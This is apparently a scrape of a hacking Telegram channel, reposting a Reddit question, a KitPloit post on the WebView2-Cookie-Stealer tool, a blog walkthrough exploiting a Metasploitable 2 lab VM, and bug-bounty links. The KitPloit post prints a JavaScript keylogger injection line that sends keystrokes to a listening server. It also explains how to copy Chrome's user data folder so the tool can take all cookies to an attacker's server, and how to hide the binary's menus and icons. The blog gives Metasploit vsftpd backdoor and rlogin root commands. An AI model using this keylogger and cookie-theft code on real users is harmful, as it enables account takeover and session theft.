hacking: security in practice
Unity vs Unreal

What are the most common exploits against them? Is one more secure than the other? What security considerations are there in using them? Are all APIs insecure or are there some that more secure than others?

submitted by /u/zghks
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
WebView2-Cookie-Stealer - Attacking With WebView2 Applications

___________________________
@hacking_Attack
@Hacking_Video

WebView2-Cookie-Stealer - Attacking With WebView2 Applications
http://www.kitploit.com/2022/07/webview2-cookie-stealer-attacking-with.html

___________________________
@hacking_Attack
@Hacking_Video

Please read this blog post (https://mrd0x.com/attacking-with-webview2-applications/) to get more information. Source Code This code is a modified version of Microsoft's WebView2 Code (https://github.com/MicrosoftEdge/WebView2Samples). The current code can be cleaned up and made much better.
Demo Launch Example

___________________________
@hacking_Attack
@Hacking_Video

Usage Example

___________________________
@hacking_Attack
@Hacking_Video

Usage Tested on Windows 10 (https://www.kitploit.com/search/label/Windows%2010) & 11. When the binary is executed https://office.com/login is loaded up. A JavaScript keylogger (https://www.kitploit.com/search/label/Keylogger) is injected into every page and keystrokes are sent to http://127.0.0.1:8080. Furthermore, upon the user successfully authenticating the cookies (https://www.kitploit.com/search/label/Cookies) for login.microsoftonline.com are base64-encoded and sent to http://127.0.0.1:8080 via an HTTP GET request. Modifying JavaScript If you'd like to modify the JavaScript the code that needs to be changed is shown below at line 1096 in AppWindow.cpp. coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
Stealing Chrome Cookies WebView2 allows you to launch with an existing User Data Folder (UDF) rather than creating a new one. The UDF contains all passwords, sessions, bookmarks (https://www.kitploit.com/search/label/Bookmarks) etc. Chrome's UDF is located at C:\Users\\AppData\Local\Google\Chrome\User Data. We can simply tell WebView2 to start the instance using this profile and upon launch extract all cookies and transfer them to the attacker's server. The only catch is that WebView2 looks for a folder called EBWebView instead of User Data (not sure why). Copy the User Data folder and rename it to EBWebView. Required Changes At line 41 in app.cpp: Change std::wstring userDataFolder(L""); to std::wstring userDataFolder(L"C:\\Path\\To\\Temp"); The specified folder must contain the EBWebView folder which WebView2 will read from. At line 40 in ScenarioCookieManagement.cpp: Change GetCookiesHelper(L"https://login.microsoftonline.com"); to GetCookiesHelper(L""); When GetCookiesHelper is invoked without any website (https://www.kitploit.com/search/label/Website) being provided it will extract all cookies. Note: This will not work with the current application if there is a large quantity of cookies because the application sends them using a GET Request which has a length limit. Important Functions If you'd like to make modifications to the binary you'll find information about the important functions below. AppStartPage.cpp - GetUri() function has the URL that is loaded upon binary execution. ScenarioCookieManagement.cpp - SendCookies() function contains the IP address and port where the cookies are sent. AppWindow.cpp - CallCookieFunction() function waits until the URL starts with https://www.office.com/?auth= and calls ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com") WebView2APISample.rc - Cosmetic changes Remove the menu bar by setting all POPUP values to "". Change IDS_APP_TITLE and IDC_WEBVIEW2APISAMPLE. This is the name of the application in the title bar. Change IDI_WEBVIEW2APISAMPLE and IDI_WEBVIEW2APISAMPLE_INPRIVATE and IDI_SMALL. These point to a .ico file which is the icon for this application. Toolbar.cpp - itemHeight must be set to 0 to remove the top menu. This is already taken care of in this code. AppWindow.cpp - LoadImage() should be commented out. This hides the blue splash image. This is already taken care of in this code. App.cpp - new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); change the last param value to true. This hides the toolbar. This is already taken care of in this code.

Download WebView2-Cookie-Stealer (https://github.com/mrd0x/WebView2-Cookie-Stealer)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
How Misconfigurations in Linux can leave you vulnerable to Attackers

How Misconfigurations in Linux can leave you vulnerable to AttackersPost Views: 63 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 6 Minutes IntroductionSecurity Misconfiguration in Linux is defined as: ‘Failing to implement all the security controls for a Server or a Web App’. This happens in various ways at the production level by newly created web applications or updating the existing ones. Developers on the other hand create an easy way to manage those jobs by using automated ways to maintain all their projects. Imagine having 100 projects and you need to update all of them one by one to the latest version.

Is it boring?

The IT team prepares and allows the developers to do those things to push the updated source code into all projects in a smooth way. To do that process we need to enable some securities or give some extra privileges to all the users on those projects. By human mistake, at the end of the process in many companies, the day-to-day work needs to follow some steps to end up that process. Let’s say the blue team forgot to disable sysadmin permission on the SQL server at the end of the process of the upgrade, which is hosted on the same server with other projects running on it.

What will happen if someone finds that misconfiguration?

It is possible if one of those projects is compromised by an attacker, to enable having permission on all the other projects. This can be considered one of many examples of nowadays companies, running to serve fast solutions for the clients, spending more time to create new features to make it better, well-shaped but less time on information security solutions, misconfigurations run without anyone knowing until bad guys find it.

Isn’t it true? What process are you following with proof of concept to discover what type of weakness or misconfigure you have? How did you know which step from the production level went wrong?

Continuously, the sysadmin grants all members of the role full rights to the entire database engine. Anyone who is a member of the sysadmin server role can do anything they want, and there is no way to stop them, full control over all aspects of the SQL Server. Another example based on misconfiguration that arises in Linux comes with default settings but in reality, they have to be configured manually or some ports or services come with default settings, this can be difficult to follow the process correctly.
Trending: Write up: Find hidden and encrypted secrets from any website
In this example, we’ll use Nmap to discover information about the IP target following the result. We will then spend some time studying the results and looking at the version searching in the Metasploit modules for vulnerabilities. Also as an example for misconfiguration checking,, we will look into how rsh services, run on the remote host with misconfiguration settings and how easily can someone find, and access that remote service compromising the machine. Prerequisites:* Kali Linux OS, in a VM, VPS, or locally installed.
* Nmap (The Network Mapper)

Nmap comes pre-installed on Kali Linux and is also available on GitHub. Nmap plays a critical role and is a recommended tool as part of the Recon methodology process discovery and expanding the information about the target, giving you the name, and version, performing vulnerability assessments as a pre-scan to estimate and demonstrate in a quick way what services are running on the specific IP and much more.

* Metasploit Framework

It also comes pre-installed with Kali Linux and has a repo on Git[...]

___________________________
@hacking_Attack
@Hacking_Video

Hub available for Windows, macOS, and Linux machines. Metasploit has a range of modules that can help you perform vulnerability checks to determine the services that are running. Exploit-DB is available to use and then the sweet part comes with a wide array of post-exploitation modules. Metasploit is a very famous framework that can be used by penetration testers and bug bounty hunters to determine and demonstrate information about security vulnerabilities and exploit them.

* Metasploitable 2

Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. You can download it from here.

The default login and password is msfadmin:msfadmin.

For more information, please visit this website.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Technical part:Using Nmap to perform scans on a specific IP address and discover open ports, listening and detecting installed applications: nmap -sV -O {target_IP}https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/SS1-1024x576.png Run the command, msfconsole. Once loaded give the command: search vsftpdhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/SS2-1024x576.png This will search for a specific known exploit for an FTP service, that works with the specific version running on the target’s machine, and we want to test it and see if we can exploit it, and gain full access.

Using this exploit, select the said exploit with this command: use exploit/unix/ftp/vsftpd_234_backdoorhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/SS3-1024x576.png Run the command, and options, to see what is missing from running this exploit. set RHOST: {TARGET_IP}https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/SS4-1024x576.png Then run this command, to attempt and exploit it: exploithttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/SS5-1024x576.png As you can see from the above image we have successfully exploited and got access to the machine.

From the screenshot 1, many ports are open, providing a more extensive attack surface for an attacker to find vulnerabilities on misconfigurations and other risks due to the allowed network communication over a specific network port.

Netkit-rsh open

Netkit-rsh was used in the old days for remote administration but now because of security issues, that service is insecure by legacy and it can potentially allow anyone to connect and log in without providing any password. This service has been replaced by ssh.

Use the rlogin command to examine the remote host by using the login name root. rlogin -l root {TARGET IP}https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/SS6-1024x576.png See Also: How do QR Codes work and how criminal hackers use them to generate phishing attacks – Demo
The most common mistake that leads to security miscomputation:

* Unnecessary ports being left open
* Unnecessary services permitted to run
* Leftover pages still available to access
* Unused accounts with certain privileges are not being deleted.
* Default accounts and passwords are still being used.
* Error messages reveal too much information
* Old software version / missed updates.
* Debugging is left enabled.
* Unprotected files and directories are out
* Permission unauthorized access
Preventing Security Misconfigurations:

* Limit access to the administrator interfaces: deploy a policy that will be disabling admin ports to everyone but certain permitted parties, also the policy needs to be reviewed via auditors.
* Disable Directory listing: restrict access to files that users shouldn’t need access to.
* Close any ports that are unnecessary for your organization: limit an insecure connection that can be accessed remotely.
* Patch and update software: after any[...]

___________________________
@hacking_Attack
@Hacking_Video

remediation or upgrade/change you need to reexamine to detect If something went wrong or was missed. Conclusion:Are you aware of these and other security misconfigurations? If you are not able to answer this question let the experts re-evaluate your infrastructure.

Simple flaws that could leave your company vulnerable, such as default passwords can be leveraged by an attacker to thwart an organization’s security efforts. Even open-source or proprietary software must be evaluated before going into a live production mode from an offensive perspective by reducing the organization’s risk. An easy mistake to make and even easier to exploit can happen under the stress of working hours every day by anyone who works in a developer position, and this can happen by mistake.

Even using automated detection platforms sometimes are not able to find any possible misconfigurations, or we fall into trap of fall positive detection tools. This is why you need to meet with experts to test your organization using offensive ways to detect and examine any possible misconfigurations.

Human error and a general lack of knowledge are the most common causes that leave an organization vulnerable. It’s important to remember that these best practices must be a part of an organizational focus on offensive security.

Lastly, customers may no longer trust your business if your company is hacked, and becomes public knowledge. Reputation is based on consumer trust. You could lose the trust of one consumer, and that experience could damage your company’s reputation among a wider audience in the future.
We hope that this write up has taught you something new. If you enjoyed it, the best way that you can support us is to share it! If you’d like to hear more about us, you can find us on LinkedIn, Twitter, YouTube.
Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to Information Security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent Articles* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/QR-Codes-for-hacking-300x150.png How do QR Codes work and how criminal hackers use them to generate phishing attacks – DemoJune 30, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/Articles_Gallery1-300x150.png Kevin Poulsen, aka Dark Dante, and his hacking activities on ARPANET’s networksMay 30, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/The-Difference-between-Vulnerability-Assessment-and-Pentesting.-300x150.png The Difference between Vulnerability Assessment and PentestingMay 27, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Find-hidden-and-encrypted-secrets-from-any-website-300x150.png Write up: Find hidden and encrypted secrets from any websiteMay 5, 2022 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post How Misconfigurations in Linux can leave you vulnerable to Attackers first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Multiple $50,000 Reward Tickets in Aleph Zero’s and Immunefi’s Bug Bounty Program
https://medium.com/aleph-zero-foundation/multiple-50-000-reward-tickets-in-aleph-zeros-and-immunefi-s-bug-bounty-program-a1715e47063a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Aleph Zero has decided to partner with Immunefi to deliver a bug bounty program dedicated to seeking out vulnerabilities that may hinder…Continue reading on Aleph Zero Foundation » (https://medium.com/aleph-zero-foundation/multiple-50-000-reward-tickets-in-aleph-zeros-and-immunefi-s-bug-bounty-program-a1715e47063a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Multiple $50,000 Reward Tickets in Aleph Zero’s and Immunefi’s Bug Bounty Program

Aleph Zero has decided to partner with Immunefi to deliver a bug bounty program dedicated to seeking out vulnerabilities that may hinder…Continue reading on Aleph Zero Foundation »
Read more...

Is there a way to mass load cna scripts in cobalt strike?
https://www.reddit.com/r/redteamsec/comments/vxd591/is_there_a_way_to_mass_load_cna_scripts_in_cobalt/

submitted by /u/DarkJediSkii (https://www.reddit.com/user/DarkJediSkii)
[link] (https://www.reddit.com/r/hacking/comments/vxd2g0/is_there_a_way_to_mass_load_cna_scripts_in_cobalt/) [comments] (https://www.reddit.com/r/redteamsec/comments/vxd591/is_there_a_way_to_mass_load_cna_scripts_in_cobalt/)

___________________________
@hacking_Attack
@Hacking_Video

Write Up 1: Hellosign Integration [Full Read SSRF]
https://medium.com/@soufianehabti/write-up-1-hellosign-integration-full-read-ssrf-df5e1a5bc627?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video